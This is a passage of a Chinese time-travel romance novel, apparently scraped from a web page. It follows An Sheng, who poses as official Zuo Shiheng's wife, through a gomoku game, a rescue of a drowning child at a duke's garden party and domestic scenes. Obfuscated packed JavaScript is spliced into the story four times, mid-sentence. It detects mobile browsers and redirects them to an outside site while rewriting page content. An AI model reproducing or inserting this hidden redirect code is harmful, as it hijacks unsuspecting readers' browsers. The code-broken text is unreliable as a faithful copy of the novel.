第三手后,棋盘上已是六颗子,三黑三白,安声觉得不对劲,围棋是这么下的吗? 但见他一副从容神态,心想难道是依照什么古谱?怀着疑虑她下了第四颗,左时珩毫不犹豫地也下了第四颗。 她忍不住出声:“左时珩,你为什么下一排?” 他气定神闲:“不能这么下吗?” 安声咋舌:“下呗。”于是不管他,下了第五颗子,等着再有几颗就把他这一块全吃掉。 左时珩从棋盒取子,白玉般的棋子执在他两指间,实在美极。 依旧是不用思考,在一排末端放下,而后笑道:“好,我赢了。” 安声:“……” 她喊起来:“你在跟我下五子棋啊!” 左时珩眼中浮现促狭的笑:“你只说下棋,又没说下什么棋,规则未定,五子棋也无不可。” 可恶。 难道和古人下棋,不是默认围棋吗?怪她怪她,就不该以对寻常古人的刻板印象给左时珩打标签。 安声咬牙切齿,摩拳擦掌:“你完了左时珩,你惹到了一个五子棋战神,接下来你会输得一败涂地!” 左时珩悠然捡子,做了个“请”的手势。 安声“啪”的一声,将第一颗黑子重重落在天元位,双目放光地盯着他。 …… 一路下到成国公府门口,直到车夫出声提醒,安声方从沉浸的氛围里扯回思绪。 一共下了六局,无一败绩,昂然的胜意让她仰起下巴:“怎么样啊左大人,心服口服吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692019|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左时珩细致收拾了棋子棋盘,熄了香炉炭火,笑道:“嗯,心服口服。” 安声蛊惑道:“你如果愿意拜我为师,我可以教你。” “当真?” “比珍珠还真。” 左时珩低笑一声,说:“头发乱了。” 安声已快忘了是来赴宴的,忙惊问:“那怎么办?!” 左时珩抬手又停:“可以么?” “可以可以。”安声俯身凑近,“我这人有个缺点,就是很容易一高兴就忘事儿。” 轻轻的触感落在头顶,又拂过鬓边发丝,鬟间珠钗,似于步摇上稍稍停留,指腹不经意掠过耳廓,留下若有似无的温度。 安声的耳朵热起来,安静下来才觉这般距离,举动,有些说不清的暧昧。 片刻,左时珩收回手,在她耳畔落下一句:“不是缺点。” 安声抿唇,心跳怦然。 他打起帘子先下了车,朝她伸手,柔声道:“夫人,我们到了。” 安声深吸口气,从现在开始,她要扮演好左时珩的妻子,不应想太多。 她弯腰下车,将手交到他掌心,他轻轻一握,安声便觉自己的心脏跳得更快了。 好在春月虽阳光明媚,风还是凉的,将她脸颊耳廓的热意吹散了些,不至于太过明显。 国公府门前停了好些马车,多半是冯家的,挤得其他人无处可停了,不得不从更远处下了车走过来。 安声他们也是。 于是她低声道:“有些人广交友却没朋友,是有原因的。” 左时珩轻笑不已。 国公府府邸极大,已经营了四代人,光是嫡系便有一二百口,加上其他旁支,足有千人,实在是一顶一繁盛的大家族。初代国公是跟着丘朝开国皇帝打过江山的,封了爵位本该蒙荫三代,结果前些年,二房长子魏淮靠自身实力去军中挣了些功,还未回京受赏便病死在半道上,满府上下缟素痛哭,皇帝便开恩,准爵位又续了一代,魏二爷是庶出,袭不了爵,三爷幼年夭折,如今的成国公是四爷魏永。 此次园子新修也有为表庆贺之意。 毕竟为国战死是荣耀,深受皇恩亦是荣耀。 不过这次宴会只是私宴,因而请帖下的不多,主要请了些好友以及颇有名气的文人墨客,左时珩与魏二爷并无私交,但他乃工部堂官,又是状元出身,魏广头一个便想请他,只是未抱希望,故而收到回帖时不知多么激动,连原先不准备出面的成国公听闻此事也来亲迎了。 安声随左时珩一道进门,与主人家见了面,送了礼,因女眷们另在别院,于是安声很快被国公夫人请去,与左时珩分开。 安声被丫鬟引着,不知进了哪个园子,一路花团锦簇,所见奢华,丫头仆妇往来众多,的确非左宅可比。 她起初还有些紧张,渐渐倒被景色惊叹得迷了眼。 又穿过一道垂花门,总算到了一间厅堂,里面已有好几位勋贵妇人正在吃茶说笑,个个珠光宝气,她甫一进来,顿时噤声,众人纷纷看了过来。 安声自是一个也不认识,忽然其中一个夫人猛地站起来,朝她惊喜道:“天呐,安声,你真回来了!” 15. 救人 纵然左时珩提前与她介绍过许多“安声”认识的人,可又没有照片,此刻根本对不上脸。 她及时将一句惯性的“你好”咽回去,朝对方微笑点头。 对方热情执了她手,眼眶湿润:“前几日就隐隐听说你回家的消息,可左大人那里半点口风没漏,因此不敢确信。” 又想继续问她当年消失的缘故,这几年身在何处云云,被国公夫人梁氏所打断,梁夫人笑她太着急了,莫不是与自家夫君待久了,也学他审起人来? 安声便趁这个话口抛出自己对外的说辞,随即面露忧愁:“……如今病虽好了,却什么也不记得了,若有言语无状礼数不周之处,还望大家海涵。” 台词一样的话,她昨日练习了一晚,总算顺利说完,不由松了口气。 她不习惯这样古色古香的说话方式,在府里倒还好,但出来面对外人难免紧张。 左时珩知道她的顾虑,笑着宽慰她不必担心,还不至于有人因为她说白话就将她抓起来。 安声纠结了下,实话回他:“也是个面子问题。” 穿着打扮庄重沉稳时,一言一行也须匹配才符合当下的气质。 她那时自己练习了会儿,说起半文半白的话总是磕巴,实在好奇去问了左时珩:“你妻子以前的说话方式是什么样的啊?” 左时珩笑道:“阿声很聪明,应付自如。” 安声唉声:“看来我没她聪明,因为我很不自如。” 好在她此时此刻当着这群贵夫人的面,将编排好的台词丝滑讲完了,接下来便能顺理成章地少说些话,微笑点头附和几声便可。 听罢她的解释,众人都诧惊不已,就此讨论起来,一会儿回忆当年此事波澜,一会儿感叹世事无常却又峰回路转,另也不忘在她面前重新自我介绍一番,其中有国公夫人梁氏,魏二爷夫人严氏,还有礼部两位官员的夫人并一位户部官员夫人。 安声坐那听着,极少插话,只尽量在脑海回忆起左时珩曾同她介绍过的与他妻子相处甚好的女眷。 在座倒是有一位—— 她看向最先与她说话,见到她时很激动的林夫人。 林夫人本坐在安声对面,见她望来,便到她身边去:“我瞧你和以前不同,不大说话了,到底是病了一场,不如我们出去走走吧。” 安声应了,两人向梁夫人说了声,她笑道:“也好,你们先去,我们随后也来,园子大得很,处处都是花,今儿天又好,大家都不要拘在屋子里闷着。” 安声与林夫人走出花厅,皆未携带丫鬟,并肩沿一条绿荫小径缓步慢行,两侧树木成荫,花卉竞放,香气萦人。 林雪步子微顿,见四下无人,便直言问她:“安声,你同我说实话,你是真把我忘了还是假把我忘了?我们从前那么要好,你要与我陌路吗?五年前你忽然失踪,我为你哭了好几场呢,那时左大人一病不起,岁岁与阿序还是我接来家照应了一段时日。” 她双目微红,含有愠色。 这是真朋友。 但安声却并非她好友,她不得不为这份无法回应的情谊感到歉疚,软语解释道:“的确是忘了,才回家那时,我连左时珩和两个孩子都不认识了。” 林雪听罢不由张大嘴:“你连他们都忘了?” 她长叹一声,目中愠色转为泪光,抱住安声:“可怜的声儿,怎么能经历这样的事,可见上天无眼,见不得人幸福。” 紧着又安慰她回来便好,记不得便慢慢记,她说左尚书实在是天下最好的男子,这些年不知多少人劝他为了两个孩子续弦,他却从不松口。 虽相思成疾,一身病痛,却仍独自将两个孩子抚养长大,教得乖巧懂事,连公事都没耽误,去年还从侍郎擢升至尚书。 说罢又小声抱怨:“哪像我们家那位啊,古板,严肃,无趣。”她娇俏地挥了下帕子:“哼,跟他的刑律过去吧!” 林雪这么一提,安声便按捺不住上扬的嘴角。 她丈夫正是左时珩同她调侃过的那位,刑部尚书陈律。 陈律年三十四,元妻病逝留有一女,今已及笄,林雪乃是他的续弦,嫁来八年,诞有一子五岁。据左时珩说,陈大人并无妾室,夫妻俩感情和睦,林夫人待女儿也是视如已出。 因此,她这样抱怨,无异于撒娇。 “你还笑呢!”林雪随手折了朵花丢她,“我们家陈律师啊当真应跟你们家左大人学学。” 安声笑着笑着,反应过来:“啊?” 陈律师?…… 林雪见她诧异,忙笑着解释:“瞧,我忘了你忘了,我这都是跟你学的,已顺口了。” 她说安声说话总和别人不一样,从前与她私下独处时,一提起她夫君,总爱说“你们家陈律师云云”,起初她不明白,安声与她解释,这也是尊称啊,陈大人掌管刑律又主持过一届科考,算起来是许多考生的老师。 她一听,觉得有趣又合理,竟被她说服了。 平日虽对外不提,在家时却也喜欢这么喊,既放肆又胆大。 开始时陈大人板起脸难以接受,后来竟也习惯了,只有林雪才会这般喊她,只当妻子年轻玩闹,不去过多苛责。 安声却听得思绪有些混乱……这么说,几年前的“安声”和她一样给陈尚书取了这个外号?所以那时左时珩才会突然提及陈尚书转移她的注意力? 可是为什么呢? 为什么“安声”会和她想的一样,而且左时珩也能确信她会捕捉到这个名字的有趣之处呢? 正当她思虑出神之际,忽听林雪附耳过来,低声娇笑:“我们家陈律师嘴上不说,其实喜欢我这般叫他,尤其床笫交欢时,愈发用力。” 安声呆住。 当她意识到自己听到什么的时候,已经听懂了。 她耳朵脸颊一起烧起来,不知如何接话。 林雪见状笑:“咱们都是成婚有孩子的人,怎么还害羞起来?以前这样的话,可是你跟我说的。” 安声抿唇,她不是,她没有。 只得转身,像园子深处去,狼狈逃离。 彩石铺径,移步换景,左时珩之前与安声说过,为了这座新修的园子,魏二爷特意引了许多奇花异草进园,果然不俗。 一路走来,桃李芬芳,梨杏如雪,更有无数说不出名字的花,争奇斗艳,招蜂引蝶。 待她与林雪步至一临水亭歇脚时,已是袖满幽香,清味沾衣。 安声抬头看那亭上的字,匾上写着“红芳亭”,并一联写道“红透胭脂润,芳浓锦绣围”,笔势矫健灵动,又不失轻盈,是好字。 才坐下不久,便有丫鬟过来,笑指着不远的一道月亮门:“夫人们歇息好了可往那里去,那是邀兰阁,阁中专养兰花,有几十株,品种特异,若有喜欢的,还可选了带走,另且二太太在阁中也备了茶水点心。” 林雪用帕子拭着颈间薄汗,说先不忙去,在这里吹吹风凉快凉快。 整座园子极大,挖了条人工河,贯穿首尾,若不想走路的,也可坐船,沿水环绕一周,几乎能望见所有院落。 西面临水处还特意拓宽池面,修了座碧云厅,分为南北结构,北厅架临水上,是座戏台,称为鹤声台,南厅则种植了秋冬时节盛放的花木,养了两只绿孔雀,称为雀影馆,主家宴请宾客时,既能听戏,又不失品茗论文的雅趣。 譬如今次宴请,人不多,但非富即贵,皆是有头有脸之人,魏二爷的晚宴便是设在这雀影馆,虽不开台唱戏,却也请了乐师在鹤声台上弹琴助兴。 安声与林雪正聊此事,忽听不远处传来一声惊叫,服侍的丫鬟色变, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692020|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙跑去查看情况,又匆匆回来,面无人色地说是府上小少爷落水了。 两人皆惊,也顾不得其他,齐齐跑过去。 虽挖的是人工河,因要行船,故而河宽且深。 此时一个五六岁的孩子在水面上起起伏伏,呛得说不出话,照顾他的两个丫鬟大约也不会水,只急得一起跳入水中,不但救不了人还自身难保。 好在她们还能扑腾,大声呼救,惊动了旁人,慌忙往这边赶,但此时园子里都是女眷,伺候的也都是丫鬟仆妇,男人们都在外面谈事喝茶,恐怕难以赶得及。 见情况情急,安声顾不得其他,脱下外衣便跳入水中,吓得林雪直翻白眼。 她从河对面朝小孩那边游过去,还没到小孩就已慢慢沉了下去,她便憋一口气扎入河里,总算将孩子抱出水面,划到岸边。 岸边有丫鬟婆子接应,哭着将孩子抱了上去,见孩子呛水昏迷并无反应,急急便要抱去找大夫,又被安声拦下。 她让她们快些去救水里的人,自己跪下来,依急救之法一通操作,孩子很快寻回意识,一顿咳嗽后大哭起来,仆妇们哭着跪地感谢不已。 她摆摆手,已是精疲力尽,浑身湿透,瑟瑟发抖。 出了这样的大事,府上乱作一团。 安声裹着外袍,被林雪与丫鬟搀扶着去了最近的邀兰阁,待换了衣裳,喝了热茶,坐在新点的炉子边时,她发抖的身躯才慢慢平缓下来。 春日的水,还是太冷。 她后知后觉想,救人虽是对的,但会不会给左时珩惹来什么麻烦?毕竟她一个高官夫人,众目睽睽之下脱了外衣跳入水中,总归是有什么影响的吧。 譬如名声啊规矩啊什么的。 可当时,也没更好的办法了,若有什么坏影响,只好跟左时珩道个歉,再麻烦他处理了。 她呆呆想着,外面一直伺候的丫鬟突然说左大人来了,在院外候着。 林雪惊讶不已:“左大人怎么会知道的这么快?府里的人只怕都还不知救人的是你吧?心思全在孩子身上呢。” 安声也觉得奇怪:“或许只是来找我的,不是为这事。” 林雪走出去,外面响起几句交谈,很快,她便去中庭回避了。 左时珩推门而入,日光溶溶,碎星浮动,门边一株吊兰斜映他衣袖间,他无心留意,匆匆走近。 安声拥着薄被坐在榻上,长发半干地散着,钗环尽去,胭脂也已褪却。 她仰起一张芙蓉素面:“左时珩,我要告诉你一件事……” 话未说完,左时珩已伸手轻抚她脸庞,眸底满是担心焦急,他面色似更苍白了些,指也微凉,碰到安声时,她忍不住缩了缩。 他便指尖微顿,落在她脑袋上,温柔摸了摸她头发:“我现在已知道了。” 他在前园,甫一听说府上小公子在园中落水的事,便动身往内园赶来,是担心出了乱子,安声会感到紧张。 在此之前,他的确不知小公子是被外人救起,不过此刻见到安声,便能猜到一切了。 安声惊讶了下,又不安地问:“会不会给你带来麻烦?” 左时珩笑意轻柔:“救了人反要惹来麻烦,天下没有这样的道理。” 他的声音让安声蓦然心定下来。 她点头:“没错,在我们那里,我这是见义勇为先进个人,政府……朝廷会给我嘉奖的。” “嗯,朝廷应当要给予你嘉奖。” 到底是没忍住,左时珩将手放炉子上烤热了,再次轻轻碰了碰安声的脸,不过也只是很快收回,将她一缕鬓发挽至耳后。 他一贯沉稳平和的语气,藏着不易察觉的发颤,如安声初见他时那般,又被他小心克制起来。 “不过,下次再有这样的事,须是我在场的时候,好吗?” 16. 月事 尚未过半,左时珩便已无心这场宴会,带安声回了家。 不过刚到家不久,国公府那边便来了人,是那孩子的父母,既魏公府四房的长子长媳,特意赶来致谢。 因为人多,左时珩便独自在前院接待了他们,待回转后院时,与安声说了声,孩子已经没事了。 安声便问:“那两个小丫鬟也没事吧?” 左时珩摇头,说内宅之事不好过问,想来是免不了罚的。 安声恹恹不语,忽然觉得那俩看似不过十五六岁的女孩分明不会游泳却还跳入河中,应当是心知,若是小少爷出事,她们必定也活不了。 人命如山,人命如草。 这个时代一下便具象在自己眼前了。 “手。”左时珩出声。 “嗯?”安声还未反应过来,手已伸了过去。 她坐在长椅上,左时珩置了凳子在她旁边坐着,检查了她的手、胳膊,确认并无外伤,又搭了搭脉,问她感觉如何,还冷不冷,有没有不舒服。 安声笑道:“你还会医术啊?” 他说:“久病成医嘛。” “没有不舒服,现在也不冷了,我身体一向很健康。” “嗯,那就好,不过也不可大意,毕竟河水太凉,又湿身吹了风。”他温声道,“去床上躺着吧,我去煮碗姜汤,你喝了驱驱寒。” “我不要喝。”安声皱眉,“那个很难喝。” “是吗?”他轻笑,“我看倒和药膳差不多,只有一分难喝。” 安声语滞,回旋镖啊。 她也没正经躺,就是裹着被子坐在床上百无聊赖左摇右晃,岁岁进来陪她,亲昵地趴在床边:“娘亲,我听爹爹说,娘亲今日救了个人,特别厉害。” 安声谦虚:“举手之劳。” 岁岁问:“娘亲跳进水里时会不会害怕?我去池边喂鱼时,都不敢这样……怕掉下去被大鱼吃掉。” 她撑在床沿上,身子往前倾。 “像这样吃掉吗?”安声陡然张开被子将她卷进去,两人笑成一片。 岁岁脱去鞋窝在她怀里:“娘亲真的不害怕吗?” “怕呀,不过当时没想那么多,救人要紧。”安声坦诚道,“如果现在有人问我,一个人掉水里了,我救不救,我就会犹豫了。” 她说若是水流湍急,或是在冬天,施救条件恶劣,贸然救人不但可能救不上来,反而容易将自己性命搭进去。 救人不是为了回报,不救也不代表自私,不过袖手旁观的确会让人产生负罪感,徒劳无功也会让人觉得遗憾,但这绝不是对错之分,只是道德上的自我要求。 她说:“若有人因此指责你做得不够好,你应该骂他一顿,毕竟道德是自我约束的标准,不是绑架他人的利器。” 她说得认真,岁岁也听得认真。 左时珩在门外等她们说完才进屋,饶有兴致地望着她们,笑问:“你们现下这样是什么?大乌龟和小乌龟?” 岁岁从被子里冒出头:“娘亲,爹爹说我们是乌龟。” “我们才不是乌龟。”她将被子重新蒙实,闷声道,“我们是蘑菇。” 左时珩便将姜汤搁在床头,蜜饯也一并放在旁边,然后轻拍了下被子。 “请问两位蘑菇,是否需要一点姜汤浇灌?” 安声还未应,岁岁已耐不住咯咯笑起来:“我要喝。” “小叛徒,这就投降了。” 安声将她放了,自己也暴露无遗,与左时珩正好四目相对,他眼眸含笑,一副成竹在胸的从容。 “岁岁喜欢姜的味道。”他说。 岁岁忙不迭点头,对安声说:“娘亲,我陪你喝吧,这个很好喝啊,加一点糖我会很喜欢。” 左时珩便道:“加了一点。” 这世上居然还有人喜欢喝姜汤?…… 安声低声哄诱:“岁岁喜欢不如全喝了吧。” 左时珩语气玩味:“倒是可以,不过厨房还有。” 安声:“……” 岁岁掩嘴笑,有偏帮左时珩的意思,见状自己去厨房找穆诗去了。 这下安声孤军奋战,只能缴械投降了。 左时珩压着唇边弧度,将姜汤递给她:“温度刚好入口。” 安声以视死如归的表情喝了口,五官瞬间皱到一起。 “好辣好难喝……左时珩,你真加糖了吗?半点都尝不出甜味。” 她悄悄伸手去够蜜饯,被他不动声色拦下。 “喝完才能吃。” 安声满脸失望,索性憋气闭眼,一口干了,再以迅雷不及掩耳之势将蜜饯塞入口中,嚼嚼嚼,直到甜味完全占据上风。 左时珩笑了笑,将碗收拾了。 又问她:“明日魏二爷魏四爷都会登门,你可要随我一道待客?” “不要。”安声懒懒倒在床上,露出一双明亮杏眼,“我做好事不留名。” “行。”左时珩轻笑,“那就好好休息,这位无名大侠。” - 左时珩说得不错,翌日国公府正式递了拜帖上门,送来许多谢礼。不止是国公府,刑部尚书陈大人府上也送了补品与礼物过来,并手书一封,不用看就知是出自林雪,左时珩皆替安声收下。 不出两日,左尚书夫人消失多年又再次归家,还英勇救下成国公府嫡孙一事便在勋贵圈子里传开,连皇帝都有所耳闻,特意在左时珩书房议事后留下他问了,并对此赞扬不已。 此事造成的影响一并由左时珩应付,安声自在家中清静。 不过她倒有了新的麻烦——猝不及防地来了月事。 换了新地方,经历许多事,她都将此事忘了。 春月入水虽未让她感染风寒,却让她因受凉,在月事第一日疼得倒吸冷气,小腹绞痛,如坠秤砣。 恰好穆诗送左岁去永国公府,一时不会回来,还是李妈妈过来伺候她用饭时发现,见她面色苍白,冷汗涔涔,顿时吓得不轻,以为是她之前提的什么重病复发,险些就要去找大夫。 安声有些萎靡,恹恹地说了实情。 李妈妈心里的大石头落地,却又有些为难:“夫人的贴身私物都是自己收着,也就大人和小诗知道,不如先用我们用的?只是不好,要委屈夫人了。” 安声哪还管这些好的坏的,忙请她送来,在她帮忙下用上,又劳烦她将弄脏的床单被套一并换洗了去。 左时珩散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16692021|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了朝,又在御书房议事,待回家时已是午后。 平日安声都在院里晒太阳或练字赏花喂鱼四处转悠,今日却格外安静,他便忙去了东厢房。 房门未关,他瞧见安声抱着被子跪坐在床上,躬身缩成一团,便也顾不得其他,急切入内。 “怎么,是哪里不舒服?” 安声听见他说话,昏昏沉沉地抬头应:“来月经了,有点难受。” 左时珩见她脸色很差,便摸了摸她额头,确认了没发烧才心下略松。 安声又蜷缩起来,有气无力:“没关系,忍忍就好了。” 左时珩眼里满是心疼,他们夫妻数载,虽少见她疼成这样,倒也不是没有过,只是他如今的身份能做的要少许多。 安声蜷得累了,又裹着被子趴下,有些犯困,却因疼睡得不大安稳,迷迷糊糊之际,感觉到有人在自己被子里塞了个汤婆子,热热的,熨帖得小腹处舒服多了。 一觉醒来已是傍晚,窗外昏黄朦胧,她呆呆坐起,有些不知今夕是何夕。 左时珩大约一直在外间,听见动静便走进来,担心地问:“还疼得很么?” 安声双眼聚焦,回过神:“好多了。” 她从被子里将汤婆子摸出来,惊异:“居然还是热的,这次保温时间好长。” 左时珩见她精神恢复许多,才算是放了大半心,笑道:“因为中间换了次热水。” “这个是你拿来的吗?” “我让李婶拿给你的。” “喔。” “嗯。”左时珩点头,“厨房煮了红糖姜茶,我去拿来。” 他向外走了两步,又顿足,转首笑道:“这次我放了很多糖,一定是甜的。” 安声屈膝靠在床头,怔怔望着他离开后,忍不住将脑袋枕在手臂上抿嘴笑,但过了会儿,她又不禁叹了口气。 她若是从前遇见过左时珩这般的人,又何必心烦妈妈逼她相亲呢。 毕竟地上有钱谁不知道捡。 但左时珩这块金子,她虽有点喜欢,却还真是无法心安理得地起什么心思。 左时珩盯着她喝了红糖姜茶,又叫李婶将晚膳布置在卧房里,陪她一起用了。 待穆诗回来后,他又将她叫去,细细叮嘱她一些事宜,将安声照顾得愈发舒适。 他温柔细致,耐心温和,却举止有度,从不越界,不会冒犯到她。 最过激的,不过是初见那次紧拥她入怀而已。 岁岁不在,夜间安声躺在床上忽然有些不习惯,便在脑海里乱乱思虑许多事,如今她满腹疑团,却一个答案没有,实在心生郁闷。 至于如何回到现代,则更是毫无头绪了。 直到月上中天,她才沉沉睡去。 庭中月光洒落,如积水空明。 树影摇曳,虫鸣鸟叫。 左时珩在廊下静立良久,至万籁俱寂,才轻声走进里间,没有惊醒外侧睡着的穆诗。 一片月光温柔探窗,拢在床前。 他在床边俯下身,望着妻子恬静睡颜,眸光愈发柔和满足。 不舍得惊扰她,又抵不住爱意奔腾。 左时珩在她睡熟时,悄悄亲吻了她的头发。 17.叙话 安声这几日没碰过半点凉水,每日睡前,穆诗都要将床先暖一遍,再给她塞个汤婆子暖着肚子,甚至李妈妈连她每顿餐食都调整了,更清淡营养。 自然,左时珩也每日都会回家陪她吃饭,不过因为公务繁忙,大多是晚饭时赶回。 她从不是个娇气的人,人生的二十四年过得也算坚韧自立,可这段时日,她实在被照顾得太好,从最初的受宠若惊,似乎渐渐享受起这份无微不至的关心了。 她心想,她好贪心。 据说人从上古时期一直遗留着一种“适应性警觉”,当感到无比幸福放松时,会突然心慌不安,触发“防沉迷机制”。 例如这几日,她睡前总要胡思乱想一会儿。 她现在感受的一切是真实存在的吗?她真的进行了一场无法解释的穿越吗?或者,她是在……鸠占鹊巢吗? 每每这样想,她的道德感便会让她陷入不安的困境,但随即她又会冒出另一种想法,这个想法说,她没做错什么,自见左时珩第一面起,她便已实情相告了,左时珩清楚知道她并非他的妻子,而是一个容貌相似之人,所以他对她的好,并非是她“骗”来的。 有时她真想问问左时珩,这一切到底是怎么回事,但又不知从何问起,仿佛谈及他与妻子的过去是不怀好意地刺探隐私,而聊起“时空穿越”的原理更是荒谬绝伦。 不过左时珩似乎对她的情绪变化感知敏锐,常能及时引导她走出消极,转移到其他更轻松有趣的事情上去。 因此,她虽想得多,却更像是睡前的“杞人忧天”,正如人每晚都会做梦,却常在醒来忘记似的,她身处在一个困境里,但不为困境所困。 三月一过,天渐渐暖了,左府的花也相继盛放,虽不及成国公府的文英园,倒也葳蕤繁华,别有意趣。 她有时会在园子里散步,踏过一地落花,沾满一身清香回来,兴起会撷几支花枝,插于瓶中,临窗摆放,在练字时陶怡心情。 忽有一日,她发现常去的后花园,那棵长势极好的玉兰树下竟多了一个秋千,这让她十分惊喜。 这棵玉兰长在左时珩书房后,早春正是花期,花枝掩映,于窗前形成一幅天然图画,他只需推开北窗便能将景色纳于眼底。 那天午后,她坐在秋千上摇晃,蓦然听见窗户打开的声音,便转头看去,正好落入左时珩那双漂亮温和的眼。 左时珩从衙署回来时,不见她在院里,便立即猜到她在此处。 他实在了解他的妻子,与从前相比,她只少了对他炽热的爱意与偶尔流露于眼底的那份哀伤。 而如今她如此纯粹快乐,他更愿意小心珍藏,即便为此需要承受的,是她忘记爱他这件事。 安声挽着秋千绳,扬起笑:“左时珩,这个秋千是你做的吗?” 他将手搭在窗框上,向下倾身:“喜欢吗?” “很喜欢,不过你平时那么忙,怎么会有时间做这个?” 他笑应:“总会有时间的。” …… 光阴倏然,转眼便是春末。 左时珩似乎愈发忙于公务,即便午时归家陪她用膳,也会再匆匆返回衙署,再至深夜归来。 原先便十分消瘦,如今更显憔悴苍白。 安声有次一觉醒了已是子时,去书房那边,左时珩仍未就寝,点着一盏孤灯,于案后披衣独坐,审阅公文。 不过他虽熬夜,却体恤下人,早早便吩咐过,夜间不必饮食伺候,因此厨房灶火也都熄了。 李妈妈悄悄来找安声,说让她劝劝,这样下去不好,从前便总是这样,才把身子熬坏的,如今还要这样,病可怎么好得了。 安声也有此意,只是不好开口,毕竟左时珩身居要职,是为国家大事而忙,她的劝慰显得有些天真了。 待李妈妈在自己院里的小厨房做了份红枣银耳牛乳羹送来时,她总算有了理由,于是端着羹汤去了书房。 没手敲门,她站在窗下小声喊:“左时珩,左时珩……给我开个门……” 屋中纸张翻阅声停下,传来一声低笑。 她垫着脚正往窗内张望,忽然手中一松,托盘已到了左时珩手中。 左大人揶揄笑道:“我还道院里进了只偷食的小猫,弱声弱气地叫唤。” 安声杏眼微瞪:“不是偷食是送食的。” “哦,这么说,果然是只小猫了?” “你见过哪只猫会说人话的?”安声跟着他进屋,喵了一声,说,“猫是这么叫的。” 左时珩笑:“原来如此,看来没有会说人话的猫,只有会说猫话的人。” 他将甜羹搁在桌上,端了盏烛火来照着:“你坐在这里吃吧。” 又问她:“冷吗?穿得少了些,虽说白日暖和,夜里还是有些凉的。” “不冷,我看你比较冷吧,刚来的时候,还听你咳了几声。” “无妨,我对自己的身体有分寸的。” 他取下架子上一件外袍递给安声。 “待会儿吃了热烫容易发汗,再出去一吹风,便容易着凉,回去记得披一下。” 说罢他又去了案后,方坐下,安声皱眉问:“左时珩,难道我是特意到你面前吃东西给你看的吗?” 左时珩挽袖蘸墨,走笔疾书:“嗯,我知道不是,你拿了两个碗两个勺子,还是你喜欢的那套餐具,我已看见了。” “那你还无视我?” 他忍不住笑了笑,又继续写着:“没有,只是请你不必等我,还有两份公文便批完了。” “原来如此,好吧,那我不打扰你了。” 安声放下心,自己先吃起来。 李妈妈做甜品的手艺实在一绝,穆诗跟她比都还差点,尤其合她的口味,哪怕她不饿,一问她就谗了,一馋不饿也饿了。 左时珩言出必行,她才吃了一半,他便将公文册子收拾了,大步过来坐下。 安声说:“这个很好吃,你快尝一尝,冷了有损口感。” “好。”左时珩舀了一勺放入口中,认真尝了,“甜而不腻,的确不错,大约是放了蜂蜜。” 安声惊讶:“这都能尝出来?” 他笑道:“最初是我教给李婶的,只是那会儿放的红糖,少了些风味。” 安声已不知说什么了,她眼亮晶晶地望着左时珩,觉得灯下这个英俊的男人上得厅堂下得厨房,简直完美。 左时珩偏了下头,不解:“嗯?” 安声心虚移眼,又觉得太过明显而移回来。 “左时珩,你好像又瘦了点,这样不好。” “是。”他吃完,放下汤匙,“不过不必担心,只是这段时日罢了,忙过就好了。”又道:“太晚了,我送你回房休息,这些放着就是,明日再收拾。” 安声坐着不动,托腮望他:“左时珩,你在催我走吗?” 左时珩一愣:“不是。” 她慢悠悠起身:“哦,那我自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695295|188876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了,我觉得我在这里还是打扰你工作了。” 刚到门口,左时珩便唤住她:“衣服。” “不用。” 左时珩似有些无奈,将她拉回屋内,语气柔和下来:“抱歉,安声,但我想说,你来找我我很高兴,只是担心影响你休息,没有半点赶你的意思。” 安声眨了眨眼,也向他道歉:“抱歉,左时珩,我没有生气也没有怪你,只是担心你太累了,但我不知道你在忙什么,所以怕自己无知打扰到你。” 月色皎洁,妻子纤长的睫羽轻轻扇动,剪水杏眸里浮动隐忧,映着他深邃疲倦的眉眼。 左时珩瞳孔微颤,胸中爱意犹如奔雷跑马,溢了满腔,忽觉连日劳累不抵这一刻目光,恨不得将她搂入怀中缱绻深吻。 他不得不望向她身后明月,借以寄情,方才勉强冷静克制,只是垂在袖中的指骨已捏的苍白。 